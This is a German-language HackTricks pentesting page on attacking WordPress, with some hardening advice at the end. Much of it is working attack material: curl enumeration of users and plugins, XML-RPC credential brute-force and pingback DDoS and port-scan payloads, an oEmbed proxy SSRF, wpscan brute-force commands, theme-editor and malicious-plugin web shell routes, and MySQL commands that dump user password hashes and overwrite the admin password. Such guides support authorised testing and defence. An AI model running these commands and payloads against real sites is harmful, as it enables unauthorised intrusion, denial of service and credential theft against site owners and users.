Wordpress

Unterstützen Sie HackTricks

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Zugang heute erhalten:

Grundinformationen

Hochgeladene Dateien gehen zu: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Theme-Dateien finden Sie in /wp-content/themes/, also wenn Sie einige PHP-Dateien des Themes ändern, um RCE zu erhalten, werden Sie wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit Theme Twenty Twelve können Sie die 404.php-Datei unter: /wp-content/themes/twentytwelve/404.php zugreifen. Eine weitere nützliche URL könnte sein: /wp-content/themes/default/404.php

In wp-config.php finden Sie das Root-Passwort der Datenbank.

Standard-Login-Pfade zum Überprüfen: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Haupt WordPress-Dateien

  • index.php

  • license.txt enthält nützliche Informationen wie die installierte WordPress-Version.

  • wp-activate.php wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Website verwendet.

  • Login-Ordner (könnten umbenannt werden, um sie zu verbergen):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten über HTTP zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus fungiert. Diese Art der Kommunikation wurde durch die WordPress REST API ersetzt.

  • Der wp-content-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.

  • wp-content/uploads/ ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.

  • wp-includes/ Dies ist das Verzeichnis, in dem Kern-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.

  • wp-sitemap.xml In WordPress-Versionen 5.5 und höher generiert WordPress eine Sitemap-XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Beitragstypen und Taxonomien.

Post-Exploitation

  • Die Datei wp-config.php enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.

Benutzerberechtigungen

  • Administrator

  • Redakteur: Veröffentlicht und verwaltet seine und andere Beiträge

  • Autor: Veröffentlicht und verwaltet seine eigenen Beiträge

  • Mitwirkender: Schreibt und verwaltet seine Beiträge, kann sie jedoch nicht veröffentlichen

  • Abonnent: Durchsucht Beiträge und bearbeitet sein Profil

Passive Enumeration

WordPress-Version abrufen

Überprüfen Sie, ob Sie die Dateien /license.txt oder /readme.html finden können.

Im Quellcode der Seite (Beispiel von https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS-Link-Dateien

  • JavaScript-Dateien

Plugins abrufen

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Holen Sie sich Themes

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Versionen im Allgemeinen extrahieren

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Zugang heute erhalten:

Aktive Enumeration

Plugins und Themes

Sie werden wahrscheinlich nicht in der Lage sein, alle möglichen Plugins und Themes zu finden. Um alle zu entdecken, müssen Sie eine aktive Brute-Force-Liste von Plugins und Themes durchführen (hoffentlich gibt es automatisierte Tools, die diese Listen enthalten).

Benutzer

ID Brute

Sie erhalten gültige Benutzer von einer WordPress-Seite, indem Sie die Benutzer-IDs brute-forcen:

curl -s -I -X GET http://blog.example.com/?author=1

Wenn die Antworten 200 oder 30X sind, bedeutet das, dass die ID gültig ist. Wenn die Antwort 400 ist, dann ist die ID ungültig.

wp-json

Sie können auch versuchen, Informationen über die Benutzer abzurufen, indem Sie abfragen:

curl http://blog.example.com/wp-json/wp/v2/users

Ein weiterer /wp-json/ Endpunkt, der einige Informationen über Benutzer offenbaren kann, ist:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Beachten Sie, dass dieser Endpunkt nur Benutzer anzeigt, die einen Beitrag erstellt haben. Es werden nur Informationen über die Benutzer bereitgestellt, die diese Funktion aktiviert haben.

Beachten Sie auch, dass /wp-json/wp/v2/pages IP-Adressen leaken könnte.

Login-Benutzernamen-Enumeration

Beim Login in /wp-login.php ist die Nachricht anders, je nachdem, ob der angegebene Benutzername existiert oder nicht.

XML-RPC

Wenn xml-rpc.php aktiv ist, können Sie einen Brute-Force-Angriff auf Anmeldeinformationen durchführen oder es verwenden, um DoS-Angriffe auf andere Ressourcen zu starten. (Sie können diesen Prozess automatisieren, indem Sie dieses Beispiel verwenden).

Um zu sehen, ob es aktiv ist, versuchen Sie, auf /xmlrpc.php zuzugreifen und senden Sie diese Anfrage:

Überprüfen

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Anmeldeinformationen Bruteforce

wp.getUserBlogs, wp.getCategories oder metaWeblog.getUsersBlogs sind einige der Methoden, die verwendet werden können, um Anmeldeinformationen zu bruteforcen. Wenn Sie eine davon finden können, können Sie etwas senden wie:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Die Nachricht "Ungültiger Benutzername oder Passwort" innerhalb einer 200-Code-Antwort sollte erscheinen, wenn die Anmeldeinformationen nicht gültig sind.

Mit den richtigen Anmeldeinformationen können Sie eine Datei hochladen. In der Antwort wird der Pfad angezeigt (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Auch gibt es einen schnelleren Weg, um Anmeldeinformationen mit system.multicall zu brute-forcen, da Sie mehrere Anmeldeinformationen in derselben Anfrage ausprobieren können:

Umgehung von 2FA

Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn Sie also gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, könnten Sie in der Lage sein, xmlrpc.php auszunutzen, um sich mit diesen Anmeldeinformationen anzumelden und 2FA zu umgehen. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole durchführen können, aber Sie könnten dennoch in der Lage sein, zu RCE zu gelangen, wie Ippsec es in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s erklärt.

DDoS oder Port-Scanning

Wenn Sie die Methode pingback.ping in der Liste finden, können Sie Wordpress anweisen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden. Dies kann verwendet werden, um tausende von Wordpress Seiten zu bitten, einen Standort zu zugreifen (so wird ein DDoS an diesem Standort verursacht) oder Sie können es verwenden, um Wordpress dazu zu bringen, ein internes Netzwerk zu scannen (Sie können jeden Port angeben).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Wenn Sie faultCode mit einem Wert größer als 0 (17) erhalten, bedeutet das, dass der Port offen ist.

Schauen Sie sich die Verwendung von system.multicall im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Diese Datei existiert normalerweise im Stammverzeichnis der Wordpress-Seite: /wp-cron.php Wenn diese Datei aufgerufen wird, wird eine "schwere" MySQL Abfrage ausgeführt, sodass sie von Angreifern verwendet werden könnte, um eine DoS zu verursachen. Außerdem wird standardmäßig die wp-cron.php bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme verursachen kann (DoS).

Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob im Host zu erstellen, der die erforderlichen Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).

/wp-json/oembed/1.0/proxy - SSRF

Versuchen Sie, https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net aufzurufen, und die Wordpress-Seite könnte eine Anfrage an Sie senden.

Dies ist die Antwort, wenn es nicht funktioniert:

SSRF

Dieses Tool überprüft, ob der methodName: pingback.ping und der Pfad /wp-json/oembed/1.0/proxy existieren, und wenn ja, versucht es, diese auszunutzen.

Automatische Werkzeuge

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Zugang heute erhalten:

Zugang durch Überschreiben eines Bits erhalten

Mehr als ein echter Angriff ist dies eine Neugier. Im CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man konnten Sie 1 Bit aus einer beliebigen WordPress-Datei umschalten. Sie konnten also die Position 5389 der Datei /var/www/html/wp-includes/user.php umschalten, um die NOT (!) Operation zu NOPen.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

Ändern einer php aus dem verwendeten Theme (Admin-Anmeldeinformationen erforderlich)

Aussehen → Theme-Editor → 404-Vorlage (rechts)

Ändern Sie den Inhalt für eine php-Shell:

Suchen Sie im Internet, wie Sie auf diese aktualisierte Seite zugreifen können. In diesem Fall müssen Sie hier zugreifen: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Sie können verwenden:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP-Plugin

Es kann möglich sein, .php-Dateien als Plugin hochzuladen. Erstellen Sie Ihre PHP-Hintertür beispielsweise mit:

Fügen Sie dann ein neues Plugin hinzu:

Laden Sie das Plugin hoch und drücken Sie auf Jetzt installieren:

Klicken Sie auf Fortfahren:

Wahrscheinlich wird dies anscheinend nichts bewirken, aber wenn Sie zu Medien gehen, werden Sie Ihre Shell hochgeladen sehen:

Greifen Sie darauf zu und Sie werden die URL sehen, um die Reverse-Shell auszuführen:

Hochladen und Aktivieren eines bösartigen Plugins

Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als anfällig bekannt ist und ausgenutzt werden kann, um eine Web-Shell zu erhalten. Dieser Prozess wird über das WordPress-Dashboard wie folgt durchgeführt:

  1. Plugin-Akquisition: Das Plugin wird aus einer Quelle wie Exploit DB wie hier bezogen.

  2. Plugin-Installation:

  • Navigieren Sie zum WordPress-Dashboard, dann zu Dashboard > Plugins > Plugin hochladen.

  • Laden Sie die Zip-Datei des heruntergeladenen Plugins hoch.

  1. Plugin-Aktivierung: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.

  2. Ausnutzung:

  • Mit dem installierten und aktivierten Plugin "reflex-gallery" kann es ausgenutzt werden, da es als anfällig bekannt ist.

  • Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch das Laden des entsprechenden Moduls und das Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.

  • Es wird angemerkt, dass dies nur eine der vielen Methoden ist, um eine WordPress-Website auszunutzen.

Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. bei Penetrationstests mit ausdrücklicher Genehmigung.

Für detailliertere Schritte siehe: https://www.hackingarticles.in/wordpress-reverse-shell/

Von XSS zu RCE

  • WPXStrike: WPXStrike ist ein Skript, das entwickelt wurde, um eine Cross-Site Scripting (XSS)-Schwachstelle in Remote Code Execution (RCE) oder andere kritische Schwachstellen in WordPress zu eskalieren. Für weitere Informationen siehe diesen Beitrag. Es bietet Unterstützung für WordPress-Versionen 6.X.X, 5.X.X und 4.X.X und ermöglicht:

  • Privilegieneskalation: Erstellt einen Benutzer in WordPress.

  • (RCE) Benutzerdefiniertes Plugin (Hintertür) Hochladen: Laden Sie Ihr benutzerdefiniertes Plugin (Hintertür) in WordPress hoch.

  • (RCE) Eingebautes Plugin bearbeiten: Bearbeiten Sie ein eingebautes Plugin in WordPress.

  • (RCE) Eingebautes Theme bearbeiten: Bearbeiten Sie ein eingebautes Theme in WordPress.

  • (Benutzerdefiniert) Benutzerdefinierte Exploits: Benutzerdefinierte Exploits für Drittanbieter-WordPress-Plugins/Themes.

Nach der Ausnutzung

Benutzernamen und Passwörter extrahieren:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Ändern Sie das Admin-Passwort:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Angriffsfläche

Zu wissen, wie ein Wordpress-Plugin Funktionen offenlegen kann, ist entscheidend, um Schwachstellen in seiner Funktionalität zu finden. Sie können herausfinden, wie ein Plugin Funktionen offenlegen könnte, in den folgenden Aufzählungspunkten und einigen Beispielen für anfällige Plugins in diesem Blogbeitrag.

  • wp_ajax

Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer offenlegen kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den jeder Benutzer, der in der Wordpress-Instanz authentifiziert ist, haben könnte (unabhängig von seiner Rolle).

Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Die Verwendung von nopriv macht den Endpunkt für alle Benutzer zugänglich (auch für nicht authentifizierte).

Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion wp_verify_nonce überprüft, überprüft diese Funktion nur, ob der Benutzer angemeldet ist, normalerweise wird die Rolle des Benutzers nicht überprüft. Daher könnten niedrig privilegierte Benutzer Zugriff auf hoch privilegierte Aktionen haben.

  • REST API

Es ist auch möglich, Funktionen von WordPress zu exponieren, indem man eine REST-API mit der Funktion register_rest_route registriert:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

Der permission_callback ist eine Rückruffunktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen.

Wenn die eingebaute __return_true-Funktion verwendet wird, wird die Überprüfung der Benutzerberechtigungen einfach übersprungen.

  • Direkter Zugriff auf die PHP-Datei

Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn ein Plugin also eine verwundbare Funktionalität bereitstellt, die durch den Zugriff auf die Datei ausgelöst wird, kann es von jedem Benutzer ausgenutzt werden.

WordPress-Schutz

Regelmäßige Updates

Stellen Sie sicher, dass WordPress, Plugins und Themes auf dem neuesten Stand sind. Bestätigen Sie auch, dass die automatische Aktualisierung in wp-config.php aktiviert ist:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Auch, installieren Sie nur vertrauenswürdige WordPress-Plugins und -Themes.

Sicherheits-Plugins

Weitere Empfehlungen

  • Entfernen Sie den standardmäßigen Admin-Benutzer

  • Verwenden Sie starke Passwörter und 2FA

  • Überprüfen Sie regelmäßig die Berechtigungen der Benutzer

  • Begrenzen Sie die Anmeldeversuche, um Brute-Force-Angriffe zu verhindern

  • Benennen Sie die wp-admin.php-Datei um und erlauben Sie den Zugriff nur intern oder von bestimmten IP-Adressen.

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden. Erhalten Sie heute Zugang:

Unterstützen Sie HackTricks

Last updated